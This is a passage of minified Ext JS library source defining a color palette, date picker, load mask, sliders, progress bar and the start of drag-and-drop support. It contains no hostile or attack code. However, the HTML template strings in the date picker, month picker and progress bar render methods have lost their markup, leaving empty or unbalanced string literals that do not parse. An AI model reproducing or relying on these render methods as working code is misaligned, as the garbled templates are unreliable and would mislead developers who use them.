this.mon(this.el, this.clickEvent, this.handleClick, this, {delegate:"a"}); if (this.clickEvent != "click") { this.mon(this.el, "click", Ext.emptyFn, this, {delegate:"a", preventDefault:true}) } }, afterRender:function () { Ext.ColorPalette.superclass.afterRender.call(this); if (this.value) { var a = this.value; this.value = null; this.select(a, true) } }, handleClick:function (b, a) { b.preventDefault(); if (!this.disabled) { var d = a.className.match(/(?:^|\s)color-(.{6})(?:\s|$)/)[1]; this.select(d.toUpperCase()) } }, select:function (b, a) { b = b.replace("#", ""); if (b != this.value || this.allowReselect) { var c = this.el; if (this.value) { c.child("a.color-" + this.value).removeClass("x-color-palette-sel") } c.child("a.color-" + b).addClass("x-color-palette-sel"); this.value = b; if (a !== true) { this.fireEvent("select", this, b) } } }}); Ext.reg("colorpalette", Ext.ColorPalette); Ext.DatePicker = Ext.extend(Ext.BoxComponent, {todayText:"Today", okText:" OK ", cancelText:"Cancel", todayTip:"{0} (Spacebar)", minText:"This date is before the minimum date", maxText:"This date is after the maximum date", format:"m/d/y", disabledDaysText:"Disabled", disabledDatesText:"Disabled", monthNames:Date.monthNames, dayNames:Date.dayNames, nextText:"Next Month (Control+Right)", prevText:"Previous Month (Control+Left)", monthYearText:"Choose a month (Control+Up/Down to move years)", startDay:0, showToday:true, focusOnSelect:true, initHour:12, initComponent:function () { Ext.DatePicker.superclass.initComponent.call(this); this.value = this.value ? this.value.clearTime(true) : new Date().clearTime(); this.addEvents("select"); if (this.handler) { this.on("select", this.handler, this.scope || this) } this.initDisabledDays() }, initDisabledDays:function () { if (!this.disabledDatesRE && this.disabledDates) { var b = this.disabledDates, a = b.length - 1, c = "(?:"; Ext.each(b, function (g, e) { c += Ext.isDate(g) ? "^" + Ext.escapeRe(g.dateFormat(this.format)) + "$" : b[e]; if (e != a) { c += "|" } }, this); this.disabledDatesRE = new RegExp(c + ")") } }, setDisabledDates:function (a) { if (Ext.isArray(a)) { this.disabledDates = a; this.disabledDatesRE = null } else { this.disabledDatesRE = a } this.initDisabledDays(); this.update(this.value, true) }, setDisabledDays:function (a) { this.disabledDays = a; this.update(this.value, true) }, setMinDate:function (a) { this.minDate = a; this.update(this.value, true) }, setMaxDate:function (a) { this.maxDate = a; this.update(this.value, true) }, setValue:function (a) { this.value = a.clearTime(true); this.update(this.value) }, getValue:function () { return this.value }, focus:function () { this.update(this.activeDate) }, onEnable:function (a) { Ext.DatePicker.superclass.onEnable.call(this); this.doDisabled(false); this.update(a ? this.value : this.activeDate); if (Ext.isIE) { this.el.repaint() } }, onDisable:function () { Ext.DatePicker.superclass.onDisable.call(this); this.doDisabled(true); if (Ext.isIE && !Ext.isIE8) { Ext.each([].concat(this.textNodes, this.el.query("th span")), function (a) { Ext.fly(a).repaint() }) } }, doDisabled:function (a) { this.keyNav.setDisabled(a); this.prevRepeater.setDisabled(a); this.nextRepeater.setDisabled(a); if (this.showToday) { this.todayKeyListener.setDisabled(a); this.todayBtn.setDisabled(a) } }, onRender:function (e, b) { var a = ['', '', '", this.showToday ? '' : "", '
      
    '], c = this.dayNames, h; for (h = 0; h < 7; h++) { var k = this.startDay + h; if (k > 6) { k = k - 7 } a.push("") } a[a.length] = ""; for (h = 0; h < 42; h++) { if (h % 7 === 0 && h !== 0) { a[a.length] = "" } a[a.length] = '' } a.push("
    ", c[k].substr(0, 1), "
    '); var j = document.createElement("div"); j.className = "x-date-picker"; j.innerHTML = a.join(""); e.dom.insertBefore(j, b); this.el = Ext.get(j); this.eventEl = Ext.get(j.firstChild); this.prevRepeater = new Ext.util.ClickRepeater(this.el.child("td.x-date-left a"), {handler:this.showPrevMonth, scope:this, preventDefault:true, stopDefault:true}); this.nextRepeater = new Ext.util.ClickRepeater(this.el.child("td.x-date-right a"), {handler:this.showNextMonth, scope:this, preventDefault:true, stopDefault:true}); this.monthPicker = this.el.down("div.x-date-mp"); this.monthPicker.enableDisplayMode("block"); this.keyNav = new Ext.KeyNav(this.eventEl, {left:function (d) { if (d.ctrlKey) { this.showPrevMonth() } else { this.update(this.activeDate.add("d", -1)) } }, right:function (d) { if (d.ctrlKey) { this.showNextMonth() } else { this.update(this.activeDate.add("d", 1)) } }, up:function (d) { if (d.ctrlKey) { this.showNextYear() } else { this.update(this.activeDate.add("d", -7)) } }, down:function (d) { if (d.ctrlKey) { this.showPrevYear() } else { this.update(this.activeDate.add("d", 7)) } }, pageUp:function (d) { this.showNextMonth() }, pageDown:function (d) { this.showPrevMonth() }, enter:function (d) { d.stopPropagation(); return true }, scope:this}); this.el.unselectable(); this.cells = this.el.select("table.x-date-inner tbody td"); this.textNodes = this.el.query("table.x-date-inner tbody span"); this.mbtn = new Ext.Button({text:" ", tooltip:this.monthYearText, renderTo:this.el.child("td.x-date-middle", true)}); this.mbtn.el.child("em").addClass("x-btn-arrow"); if (this.showToday) { this.todayKeyListener = this.eventEl.addKeyListener(Ext.EventObject.SPACE, this.selectToday, this); var g = (new Date()).dateFormat(this.format); this.todayBtn = new Ext.Button({renderTo:this.el.child("td.x-date-bottom", true), text:String.format(this.todayText, g), tooltip:String.format(this.todayTip, g), handler:this.selectToday, scope:this}) } this.mon(this.eventEl, "mousewheel", this.handleMouseWheel, this); this.mon(this.eventEl, "click", this.handleDateClick, this, {delegate:"a.x-date-date"}); this.mon(this.mbtn, "click", this.showMonthPicker, this); this.onEnable(true) }, createMonthPicker:function () { if (!this.monthPicker.dom.firstChild) { var a = ['']; for (var b = 0; b < 6; b++) { a.push('", '", b === 0 ? '' : '') } a.push('", "
    ', Date.getShortMonthName(b), "', Date.getShortMonthName(b + 6), "
    "); this.monthPicker.update(a.join("")); this.mon(this.monthPicker, "click", this.onMonthClick, this); this.mon(this.monthPicker, "dblclick", this.onMonthDblClick, this); this.mpMonths = this.monthPicker.select("td.x-date-mp-month"); this.mpYears = this.monthPicker.select("td.x-date-mp-year"); this.mpMonths.each(function (c, d, e) { e += 1; if ((e % 2) === 0) { c.dom.xmonth = 5 + Math.round(e * 0.5) } else { c.dom.xmonth = Math.round((e - 1) * 0.5) } }) } }, showMonthPicker:function () { if (!this.disabled) { this.createMonthPicker(); var a = this.el.getSize(); this.monthPicker.setSize(a); this.monthPicker.child("table").setSize(a); this.mpSelMonth = (this.activeDate || this.value).getMonth(); this.updateMPMonth(this.mpSelMonth); this.mpSelYear = (this.activeDate || this.value).getFullYear(); this.updateMPYear(this.mpSelYear); this.monthPicker.slideIn("t", {duration:0.2}) } }, updateMPYear:function (e) { this.mpyear = e; var c = this.mpYears.elements; for (var b = 1; b <= 10; b++) { var d = c[b - 1], a; if ((b % 2) === 0) { a = e + Math.round(b * 0.5); d.firstChild.innerHTML = a; d.xyear = a } else { a = e - (5 - Math.round(b * 0.5)); d.firstChild.innerHTML = a; d.xyear = a } this.mpYears.item(b - 1)[a == this.mpSelYear ? "addClass" : "removeClass"]("x-date-mp-sel") } }, updateMPMonth:function (a) { this.mpMonths.each(function (b, c, d) { b[b.dom.xmonth == a ? "addClass" : "removeClass"]("x-date-mp-sel") }) }, selectMPMonth:function (a) { }, onMonthClick:function (g, b) { g.stopEvent(); var c = new Ext.Element(b), a; if (c.is("button.x-date-mp-cancel")) { this.hideMonthPicker() } else { if (c.is("button.x-date-mp-ok")) { var h = new Date(this.mpSelYear, this.mpSelMonth, (this.activeDate || this.value).getDate()); if (h.getMonth() != this.mpSelMonth) { h = new Date(this.mpSelYear, this.mpSelMonth, 1).getLastDateOfMonth() } this.update(h); this.hideMonthPicker() } else { if ((a = c.up("td.x-date-mp-month", 2))) { this.mpMonths.removeClass("x-date-mp-sel"); a.addClass("x-date-mp-sel"); this.mpSelMonth = a.dom.xmonth } else { if ((a = c.up("td.x-date-mp-year", 2))) { this.mpYears.removeClass("x-date-mp-sel"); a.addClass("x-date-mp-sel"); this.mpSelYear = a.dom.xyear } else { if (c.is("a.x-date-mp-prev")) { this.updateMPYear(this.mpyear - 10) } else { if (c.is("a.x-date-mp-next")) { this.updateMPYear(this.mpyear + 10) } } } } } } }, onMonthDblClick:function (d, b) { d.stopEvent(); var c = new Ext.Element(b), a; if ((a = c.up("td.x-date-mp-month", 2))) { this.update(new Date(this.mpSelYear, a.dom.xmonth, (this.activeDate || this.value).getDate())); this.hideMonthPicker() } else { if ((a = c.up("td.x-date-mp-year", 2))) { this.update(new Date(a.dom.xyear, this.mpSelMonth, (this.activeDate || this.value).getDate())); this.hideMonthPicker() } } }, hideMonthPicker:function (a) { if (this.monthPicker) { if (a === true) { this.monthPicker.hide() } else { this.monthPicker.slideOut("t", {duration:0.2}) } } }, showPrevMonth:function (a) { this.update(this.activeDate.add("mo", -1)) }, showNextMonth:function (a) { this.update(this.activeDate.add("mo", 1)) }, showPrevYear:function () { this.update(this.activeDate.add("y", -1)) }, showNextYear:function () { this.update(this.activeDate.add("y", 1)) }, handleMouseWheel:function (a) { a.stopEvent(); if (!this.disabled) { var b = a.getWheelDelta(); if (b > 0) { this.showPrevMonth() } else { if (b < 0) { this.showNextMonth() } } } }, handleDateClick:function (b, a) { b.stopEvent(); if (!this.disabled && a.dateValue && !Ext.fly(a.parentNode).hasClass("x-date-disabled")) { this.cancelFocus = this.focusOnSelect === false; this.setValue(new Date(a.dateValue)); delete this.cancelFocus; this.fireEvent("select", this, this.value) } }, selectToday:function () { if (this.todayBtn && !this.todayBtn.disabled) { this.setValue(new Date().clearTime()); this.fireEvent("select", this, this.value) } }, update:function (G, A) { if (this.rendered) { var a = this.activeDate, p = this.isVisible(); this.activeDate = G; if (!A && a && this.el) { var o = G.getTime(); if (a.getMonth() == G.getMonth() && a.getFullYear() == G.getFullYear()) { this.cells.removeClass("x-date-selected"); this.cells.each(function (d) { if (d.dom.firstChild.dateValue == o) { d.addClass("x-date-selected"); if (p && !this.cancelFocus) { Ext.fly(d.dom.firstChild).focus(50) } return false } }, this); return } } var k = G.getDaysInMonth(), q = G.getFirstDateOfMonth(), g = q.getDay() - this.startDay; if (g < 0) { g += 7 } k += g; var B = G.add("mo", -1), h = B.getDaysInMonth() - g, e = this.cells.elements, r = this.textNodes, D = (new Date(B.getFullYear(), B.getMonth(), h, this.initHour)), C = new Date().clearTime().getTime(), v = G.clearTime(true).getTime(), u = this.minDate ? this.minDate.clearTime(true) : Number.NEGATIVE_INFINITY, y = this.maxDate ? this.maxDate.clearTime(true) : Number.POSITIVE_INFINITY, F = this.disabledDatesRE, s = this.disabledDatesText, I = this.disabledDays ? this.disabledDays.join("") : false, E = this.disabledDaysText, z = this.format; if (this.showToday) { var m = new Date().clearTime(), c = (m < u || m > y || (F && z && F.test(m.dateFormat(z))) || (I && I.indexOf(m.getDay()) != -1)); if (!this.disabled) { this.todayBtn.setDisabled(c); this.todayKeyListener[c ? "disable" : "enable"]() } } var l = function (J, d) { d.title = ""; var i = D.clearTime(true).getTime(); d.firstChild.dateValue = i; if (i == C) { d.className += " x-date-today"; d.title = J.todayText } if (i == v) { d.className += " x-date-selected"; if (p) { Ext.fly(d.firstChild).focus(50) } } if (i < u) { d.className = " x-date-disabled"; d.title = J.minText; return } if (i > y) { d.className = " x-date-disabled"; d.title = J.maxText; return } if (I) { if (I.indexOf(D.getDay()) != -1) { d.title = E; d.className = " x-date-disabled" } } if (F && z) { var w = D.dateFormat(z); if (F.test(w)) { d.title = s.replace("%0", w); d.className = " x-date-disabled" } } }; var x = 0; for (; x < g; x++) { r[x].innerHTML = (++h); D.setDate(D.getDate() + 1); e[x].className = "x-date-prevday"; l(this, e[x]) } for (; x < k; x++) { var b = x - g + 1; r[x].innerHTML = (b); D.setDate(D.getDate() + 1); e[x].className = "x-date-active"; l(this, e[x]) } var H = 0; for (; x < 42; x++) { r[x].innerHTML = (++H); D.setDate(D.getDate() + 1); e[x].className = "x-date-nextday"; l(this, e[x]) } this.mbtn.setText(this.monthNames[G.getMonth()] + " " + G.getFullYear()); if (!this.internalRender) { var j = this.el.dom.firstChild, n = j.offsetWidth; this.el.setWidth(n + this.el.getBorderWidth("lr")); Ext.fly(j).setWidth(n); this.internalRender = true; if (Ext.isOpera && !this.secondPass) { j.rows[0].cells[1].style.width = (n - (j.rows[0].cells[0].offsetWidth + j.rows[0].cells[2].offsetWidth)) + "px"; this.secondPass = true; this.update.defer(10, this, [G]) } } } }, beforeDestroy:function () { if (this.rendered) { Ext.destroy(this.keyNav, this.monthPicker, this.eventEl, this.mbtn, this.nextRepeater, this.prevRepeater, this.cells.el, this.todayBtn); delete this.textNodes; delete this.cells.elements } }}); Ext.reg("datepicker", Ext.DatePicker); Ext.LoadMask = function (c, b) { this.el = Ext.get(c); Ext.apply(this, b); if (this.store) { this.store.on({scope:this, beforeload:this.onBeforeLoad, load:this.onLoad, exception:this.onLoad}); this.removeMask = Ext.value(this.removeMask, false) } else { var a = this.el.getUpdater(); a.showLoadIndicator = false; a.on({scope:this, beforeupdate:this.onBeforeLoad, update:this.onLoad, failure:this.onLoad}); this.removeMask = Ext.value(this.removeMask, true) } }; Ext.LoadMask.prototype = {msg:"Loading...", msgCls:"x-mask-loading", disabled:false, disable:function () { this.disabled = true }, enable:function () { this.disabled = false }, onLoad:function () { this.el.unmask(this.removeMask) }, onBeforeLoad:function () { if (!this.disabled) { this.el.mask(this.msg, this.msgCls) } }, show:function () { this.onBeforeLoad() }, hide:function () { this.onLoad() }, destroy:function () { if (this.store) { this.store.un("beforeload", this.onBeforeLoad, this); this.store.un("load", this.onLoad, this); this.store.un("exception", this.onLoad, this) } else { var a = this.el.getUpdater(); a.un("beforeupdate", this.onBeforeLoad, this); a.un("update", this.onLoad, this); a.un("failure", this.onLoad, this) } }}; Ext.slider.Thumb = Ext.extend(Object, {dragging:false, constructor:function (a) { Ext.apply(this, a || {}, {cls:"x-slider-thumb", constrain:false}); Ext.slider.Thumb.superclass.constructor.call(this, a); if (this.slider.vertical) { Ext.apply(this, Ext.slider.Thumb.Vertical) } }, render:function () { this.el = this.slider.innerEl.insertFirst({cls:this.cls}); this.initEvents() }, enable:function () { this.disabled = false; this.el.removeClass(this.slider.disabledClass) }, disable:function () { this.disabled = true; this.el.addClass(this.slider.disabledClass) }, initEvents:function () { var a = this.el; a.addClassOnOver("x-slider-thumb-over"); this.tracker = new Ext.dd.DragTracker({onBeforeStart:this.onBeforeDragStart.createDelegate(this), onStart:this.onDragStart.createDelegate(this), onDrag:this.onDrag.createDelegate(this), onEnd:this.onDragEnd.createDelegate(this), tolerance:3, autoStart:300}); this.tracker.initEl(a) }, onBeforeDragStart:function (a) { if (this.disabled) { return false } else { this.slider.promoteThumb(this); return true } }, onDragStart:function (a) { this.el.addClass("x-slider-thumb-drag"); this.dragging = true; this.dragStartValue = this.value; this.slider.fireEvent("dragstart", this.slider, a, this) }, onDrag:function (g) { var c = this.slider, b = this.index, d = this.getNewValue(); if (this.constrain) { var a = c.thumbs[b + 1], h = c.thumbs[b - 1]; if (h != undefined && d <= h.value) { d = h.value } if (a != undefined && d >= a.value) { d = a.value } } c.setValue(b, d, false); c.fireEvent("drag", c, g, this) }, getNewValue:function () { var a = this.slider, b = a.innerEl.translatePoints(this.tracker.getXY()); return Ext.util.Format.round(a.reverseValue(b.left), a.decimalPrecision) }, onDragEnd:function (c) { var a = this.slider, b = this.value; this.el.removeClass("x-slider-thumb-drag"); this.dragging = false; a.fireEvent("dragend", a, c); if (this.dragStartValue != b) { a.fireEvent("changecomplete", a, b, this) } }, destroy:function () { Ext.destroyMembers(this, "tracker", "el") }}); Ext.slider.MultiSlider = Ext.extend(Ext.BoxComponent, {vertical:false, minValue:0, maxValue:100, decimalPrecision:0, keyIncrement:1, increment:0, clickRange:[5, 15], clickToChange:true, animate:true, constrainThumbs:true, topThumbZIndex:10000, initComponent:function () { if (!Ext.isDefined(this.value)) { this.value = this.minValue } this.thumbs = []; Ext.slider.MultiSlider.superclass.initComponent.call(this); this.keyIncrement = Math.max(this.increment, this.keyIncrement); this.addEvents("beforechange", "change", "changecomplete", "dragstart", "drag", "dragend"); if (this.values == undefined || Ext.isEmpty(this.values)) { this.values = [0] } var a = this.values; for (var b = 0; b < a.length; b++) { this.addThumb(a[b]) } if (this.vertical) { Ext.apply(this, Ext.slider.Vertical) } }, addThumb:function (b) { var a = new Ext.slider.Thumb({value:b, slider:this, index:this.thumbs.length, constrain:this.constrainThumbs}); this.thumbs.push(a); if (this.rendered) { a.render() } }, promoteThumb:function (d) { var a = this.thumbs, g, b; for (var e = 0, c = a.length; e < c; e++) { b = a[e]; if (b == d) { g = this.topThumbZIndex } else { g = "" } b.el.setStyle("zIndex", g) } }, onRender:function () { this.autoEl = {cls:"x-slider " + (this.vertical ? "x-slider-vert" : "x-slider-horz"), cn:{cls:"x-slider-end", cn:{cls:"x-slider-inner", cn:[ {tag:"a", cls:"x-slider-focus", href:"#", tabIndex:"-1", hidefocus:"on"} ]}}}; Ext.slider.MultiSlider.superclass.onRender.apply(this, arguments); this.endEl = this.el.first(); this.innerEl = this.endEl.first(); this.focusEl = this.innerEl.child(".x-slider-focus"); for (var b = 0; b < this.thumbs.length; b++) { this.thumbs[b].render() } var a = this.innerEl.child(".x-slider-thumb"); this.halfThumb = (this.vertical ? a.getHeight() : a.getWidth()) / 2; this.initEvents() }, initEvents:function () { this.mon(this.el, {scope:this, mousedown:this.onMouseDown, keydown:this.onKeyDown}); this.focusEl.swallowEvent("click", true) }, onMouseDown:function (d) { if (this.disabled) { return } var c = false; for (var b = 0; b < this.thumbs.length; b++) { c = c || d.target == this.thumbs[b].el.dom } if (this.clickToChange && !c) { var a = this.innerEl.translatePoints(d.getXY()); this.onClickChange(a) } this.focus() }, onClickChange:function (c) { if (c.top > this.clickRange[0] && c.top < this.clickRange[1]) { var a = this.getNearest(c, "left"), b = a.index; this.setValue(b, Ext.util.Format.round(this.reverseValue(c.left), this.decimalPrecision), undefined, true) } }, getNearest:function (k, b) { var m = b == "top" ? this.innerEl.getHeight() - k[b] : k[b], g = this.reverseValue(m), j = (this.maxValue - this.minValue) + 5, e = 0, c = null; for (var d = 0; d < this.thumbs.length; d++) { var a = this.thumbs[d], l = a.value, h = Math.abs(l - g); if (Math.abs(h <= j)) { c = a; e = d; j = h } } return c }, onKeyDown:function (b) { if (this.disabled || this.thumbs.length !== 1) { b.preventDefault(); return } var a = b.getKey(), c; switch (a) { case b.UP: case b.RIGHT: b.stopEvent(); c = b.ctrlKey ? this.maxValue : this.getValue(0) + this.keyIncrement; this.setValue(0, c, undefined, true); break; case b.DOWN: case b.LEFT: b.stopEvent(); c = b.ctrlKey ? this.minValue : this.getValue(0) - this.keyIncrement; this.setValue(0, c, undefined, true); break; default: b.preventDefault() } }, doSnap:function (b) { if (!(this.increment && b)) { return b } var d = b, c = this.increment, a = b % c; if (a != 0) { d -= a; if (a * 2 >= c) { d += c } else { if (a * 2 < -c) { d -= c } } } return d.constrain(this.minValue, this.maxValue) }, afterRender:function () { Ext.slider.MultiSlider.superclass.afterRender.apply(this, arguments); for (var c = 0; c < this.thumbs.length; c++) { var b = this.thumbs[c]; if (b.value !== undefined) { var a = this.normalizeValue(b.value); if (a !== b.value) { this.setValue(c, a, false) } else { this.moveThumb(c, this.translateValue(a), false) } } } }, getRatio:function () { var a = this.innerEl.getWidth(), b = this.maxValue - this.minValue; return b == 0 ? a : (a / b) }, normalizeValue:function (a) { a = this.doSnap(a); a = Ext.util.Format.round(a, this.decimalPrecision); a = a.constrain(this.minValue, this.maxValue); return a }, setMinValue:function (e) { this.minValue = e; var d = 0, b = this.thumbs, a = b.length, c; for (; d < a; ++d) { c = b[d]; c.value = c.value < e ? e : c.value } this.syncThumb() }, setMaxValue:function (e) { this.maxValue = e; var d = 0, b = this.thumbs, a = b.length, c; for (; d < a; ++d) { c = b[d]; c.value = c.value > e ? e : c.value } this.syncThumb() }, setValue:function (d, c, b, g) { var a = this.thumbs[d], e = a.el; c = this.normalizeValue(c); if (c !== a.value && this.fireEvent("beforechange", this, c, a.value, a) !== false) { a.value = c; if (this.rendered) { this.moveThumb(d, this.translateValue(c), b !== false); this.fireEvent("change", this, c, a); if (g) { this.fireEvent("changecomplete", this, c, a) } } } }, translateValue:function (a) { var b = this.getRatio(); return(a * b) - (this.minValue * b) - this.halfThumb }, reverseValue:function (b) { var a = this.getRatio(); return(b + (this.minValue * a)) / a }, moveThumb:function (d, c, b) { var a = this.thumbs[d].el; if (!b || this.animate === false) { a.setLeft(c) } else { a.shift({left:c, stopFx:true, duration:0.35}) } }, focus:function () { this.focusEl.focus(10) }, onResize:function (c, e) { var b = this.thumbs, a = b.length, d = 0; for (; d < a; ++d) { b[d].el.stopFx() } if (Ext.isNumber(c)) { this.innerEl.setWidth(c - (this.el.getPadding("l") + this.endEl.getPadding("r"))) } this.syncThumb(); Ext.slider.MultiSlider.superclass.onResize.apply(this, arguments) }, onDisable:function () { Ext.slider.MultiSlider.superclass.onDisable.call(this); for (var b = 0; b < this.thumbs.length; b++) { var a = this.thumbs[b], c = a.el; a.disable(); if (Ext.isIE) { var d = c.getXY(); c.hide(); this.innerEl.addClass(this.disabledClass).dom.disabled = true; if (!this.thumbHolder) { this.thumbHolder = this.endEl.createChild({cls:"x-slider-thumb " + this.disabledClass}) } this.thumbHolder.show().setXY(d) } } }, onEnable:function () { Ext.slider.MultiSlider.superclass.onEnable.call(this); for (var b = 0; b < this.thumbs.length; b++) { var a = this.thumbs[b], c = a.el; a.enable(); if (Ext.isIE) { this.innerEl.removeClass(this.disabledClass).dom.disabled = false; if (this.thumbHolder) { this.thumbHolder.hide() } c.show(); this.syncThumb() } } }, syncThumb:function () { if (this.rendered) { for (var a = 0; a < this.thumbs.length; a++) { this.moveThumb(a, this.translateValue(this.thumbs[a].value)) } } }, getValue:function (a) { return this.thumbs[a].value }, getValues:function () { var a = []; for (var b = 0; b < this.thumbs.length; b++) { a.push(this.thumbs[b].value) } return a }, beforeDestroy:function () { var b = this.thumbs; for (var c = 0, a = b.length; c < a; ++c) { b[c].destroy(); b[c] = null } Ext.destroyMembers(this, "endEl", "innerEl", "focusEl", "thumbHolder"); Ext.slider.MultiSlider.superclass.beforeDestroy.call(this) }}); Ext.reg("multislider", Ext.slider.MultiSlider); Ext.slider.SingleSlider = Ext.extend(Ext.slider.MultiSlider, {constructor:function (a) { a = a || {}; Ext.applyIf(a, {values:[a.value || 0]}); Ext.slider.SingleSlider.superclass.constructor.call(this, a) }, getValue:function () { return Ext.slider.SingleSlider.superclass.getValue.call(this, 0) }, setValue:function (d, b) { var c = Ext.toArray(arguments), a = c.length; if (a == 1 || (a <= 3 && typeof arguments[1] != "number")) { c.unshift(0) } return Ext.slider.SingleSlider.superclass.setValue.apply(this, c) }, syncThumb:function () { return Ext.slider.SingleSlider.superclass.syncThumb.apply(this, [0].concat(arguments)) }, getNearest:function () { return this.thumbs[0] }}); Ext.Slider = Ext.slider.SingleSlider; Ext.reg("slider", Ext.slider.SingleSlider); Ext.slider.Vertical = {onResize:function (a, b) { this.innerEl.setHeight(b - (this.el.getPadding("t") + this.endEl.getPadding("b"))); this.syncThumb() }, getRatio:function () { var b = this.innerEl.getHeight(), a = this.maxValue - this.minValue; return b / a }, moveThumb:function (d, c, b) { var a = this.thumbs[d], e = a.el; if (!b || this.animate === false) { e.setBottom(c) } else { e.shift({bottom:c, stopFx:true, duration:0.35}) } }, onClickChange:function (c) { if (c.left > this.clickRange[0] && c.left < this.clickRange[1]) { var a = this.getNearest(c, "top"), b = a.index, d = this.minValue + this.reverseValue(this.innerEl.getHeight() - c.top); this.setValue(b, Ext.util.Format.round(d, this.decimalPrecision), undefined, true) } }}; Ext.slider.Thumb.Vertical = {getNewValue:function () { var b = this.slider, c = b.innerEl, d = c.translatePoints(this.tracker.getXY()), a = c.getHeight() - d.top; return b.minValue + Ext.util.Format.round(a / b.getRatio(), b.decimalPrecision) }}; Ext.ProgressBar = Ext.extend(Ext.BoxComponent, {baseCls:"x-progress", animate:false, waitTimer:null, initComponent:function () { Ext.ProgressBar.superclass.initComponent.call(this); this.addEvents("update") }, onRender:function (d, a) { var c = new Ext.Template('
    ', '
    ', '
    ', '
    ', "
     
    ", "
    ", "
    ", '
    ', "
     
    ", "
    ", "
    ", "
    "); this.el = a ? c.insertBefore(a, {cls:this.baseCls}, true) : c.append(d, {cls:this.baseCls}, true); if (this.id) { this.el.dom.id = this.id } var b = this.el.dom.firstChild; this.progressBar = Ext.get(b.firstChild); if (this.textEl) { this.textEl = Ext.get(this.textEl); delete this.textTopEl } else { this.textTopEl = Ext.get(this.progressBar.dom.firstChild); var e = Ext.get(b.childNodes[1]); this.textTopEl.setStyle("z-index", 99).addClass("x-hidden"); this.textEl = new Ext.CompositeElement([this.textTopEl.dom.firstChild, e.dom.firstChild]); this.textEl.setWidth(b.offsetWidth) } this.progressBar.setHeight(b.offsetHeight) }, afterRender:function () { Ext.ProgressBar.superclass.afterRender.call(this); if (this.value) { this.updateProgress(this.value, this.text) } else { this.updateText(this.text) } }, updateProgress:function (c, d, b) { this.value = c || 0; if (d) { this.updateText(d) } if (this.rendered && !this.isDestroyed) { var a = Math.floor(c * this.el.dom.firstChild.offsetWidth); this.progressBar.setWidth(a, b === true || (b !== false && this.animate)); if (this.textTopEl) { this.textTopEl.removeClass("x-hidden").setWidth(a) } } this.fireEvent("update", this, c, d); return this }, wait:function (b) { if (!this.waitTimer) { var a = this; b = b || {}; this.updateText(b.text); this.waitTimer = Ext.TaskMgr.start({run:function (c) { var d = b.increment || 10; c -= 1; this.updateProgress(((((c + d) % d) + 1) * (100 / d)) * 0.01, null, b.animate) }, interval:b.interval || 1000, duration:b.duration, onStop:function () { if (b.fn) { b.fn.apply(b.scope || this) } this.reset() }, scope:a}) } return this }, isWaiting:function () { return this.waitTimer !== null }, updateText:function (a) { this.text = a || " "; if (this.rendered) { this.textEl.update(this.text) } return this }, syncProgressBar:function () { if (this.value) { this.updateProgress(this.value, this.text) } return this }, setSize:function (a, c) { Ext.ProgressBar.superclass.setSize.call(this, a, c); if (this.textTopEl) { var b = this.el.dom.firstChild; this.textEl.setSize(b.offsetWidth, b.offsetHeight) } this.syncProgressBar(); return this }, reset:function (a) { this.updateProgress(0); if (this.textTopEl) { this.textTopEl.addClass("x-hidden") } this.clearTimer(); if (a === true) { this.hide() } return this }, clearTimer:function () { if (this.waitTimer) { this.waitTimer.onStop = null; Ext.TaskMgr.stop(this.waitTimer); this.waitTimer = null } }, onDestroy:function () { this.clearTimer(); if (this.rendered) { if (this.textEl.isComposite) { this.textEl.clear() } Ext.destroyMembers(this, "textEl", "progressBar", "textTopEl") } Ext.ProgressBar.superclass.onDestroy.call(this) }}); Ext.reg("progress", Ext.ProgressBar); (function () { var a = Ext.EventManager; var b = Ext.lib.Dom; Ext.dd.DragDrop = function (e, c, d) { if (e) { this.init(e, c, d) } }; Ext.dd.DragDrop.prototype = {id:null, config:null, dragElId:null, handleElId:null, invalidHandleTypes:null, invalidHandleIds:null, invalidHandleClasses:null, startPageX:0, startPageY:0, groups:null, locked:false, lock:function () { this.locked = true }, moveOnly:false, unlock:function () { this.locked = false }, isTarget:true, padding:null, _domRef:null, __ygDragDrop:true, constrainX:false, constrainY:false, minX:0, maxX:0, minY:0, maxY:0, maintainOffset:false, xTicks:null, yTicks:null, primaryButtonOnly:true, available:false, hasOuterHandles:false, b4StartDrag:function (c, d) { }, startDrag:function (c, d) { }, b4Drag:function (c) { }, onDrag:function (c) { }, onDragEnter:function (c, d) { }, b4DragOver:function (c) { }, onDragOver:function (c, d) { }, b4DragOut:function (c) { }, onDragOut:function (c, d) { }, b4DragDrop:function (c) { }, onDragDrop:function (c, d) { }, onInvalidDrop:function (c) { }, b4EndDrag:function (c) { }, endDrag:function (c) { }, b4MouseDown:function (c) { }, onMouseDown:function (c) { }, onMouseUp:function (c) { }, onAvailable:function () { }, defaultPadding:{left:0, right:0, top:0, bottom:0}, constrainTo:function (j, h, o) { if (Ext.isNumber(h)) { h = {left:h, right:h, top:h, bottom:h} } h = h || this.defaultPadding; var l = Ext.get(this.getEl()).getBox(), d = Ext.get(j), n = d.getScroll(), k, e = d.dom; if (e == document.body) { k = {x:n.left, y:n.top, width:Ext.lib.Dom.getViewWidth(), height:Ext.lib.Dom.getViewHeight()} } else { var m = d.getXY(); k = {x:m[0], y:m[1], width:e.clientWidth, height:e.clientHeight} } var i = l.y - k.y, g = l.x - k.x; this.resetConstraints(); this.setXConstraint(g - (h.left || 0), k.width - g - l.width - (h.right || 0), this.xTickSize); this.setYConstraint(i - (h.top || 0), k.height - i - l.height - (h.bottom || 0), this.yTickSize) }, getEl:function () { if (!this._domRef) { this._domRef = Ext.getDom(this.id) } return this._domRef }, getDragEl:function () { return Ext.getDom(this.dragElId) }, init:function (e, c, d) { this.initTarget(e, c, d); a.on(this.id, "mousedown", this.handleMouseDown, this) }, initTarget:function (e, c, d) { this.config = d || {}; this.DDM = Ext.dd.DDM; this.groups = {}; if (typeof e !== "string") { e = Ext.id(e) } this.id = e; this.addToGroup((c) ? c : "default"); this.handleElId = e; this.setDragElId(e); this.invalidHandleTypes = {A:"A"}; this.invalidHandleIds = {}; this.invalidHandleClasses = []; this.applyConfig(); this.handleOnAvailable() }, applyConfig:function () { this.padding = this.config.padding || [0, 0, 0, 0]; this.isTarget = (this.config.isTarget !== false); this.maintainOffset = (this.config.maintainOffset); this.primaryButtonOnly = (this.config.primaryButtonOnly !== false) }, handleOnAvailable:function () { this.available = true; this.resetConstraints(); this.onAvailable() }, setPadding:function (e, c, g, d) { if (!c && 0 !== c) { this.padding = [e, e, e, e] } else { if (!g && 0 !== g) { this.padding = [e, c, e, c] } else { this.padding = [e, c, g, d] } } }, setInitPosition:function (g, e) { var h = this.getEl(); if (!this.DDM.verifyEl(h)) { return } var d = g || 0; var c = e || 0; var i = b.getXY(h); this.initPageX = 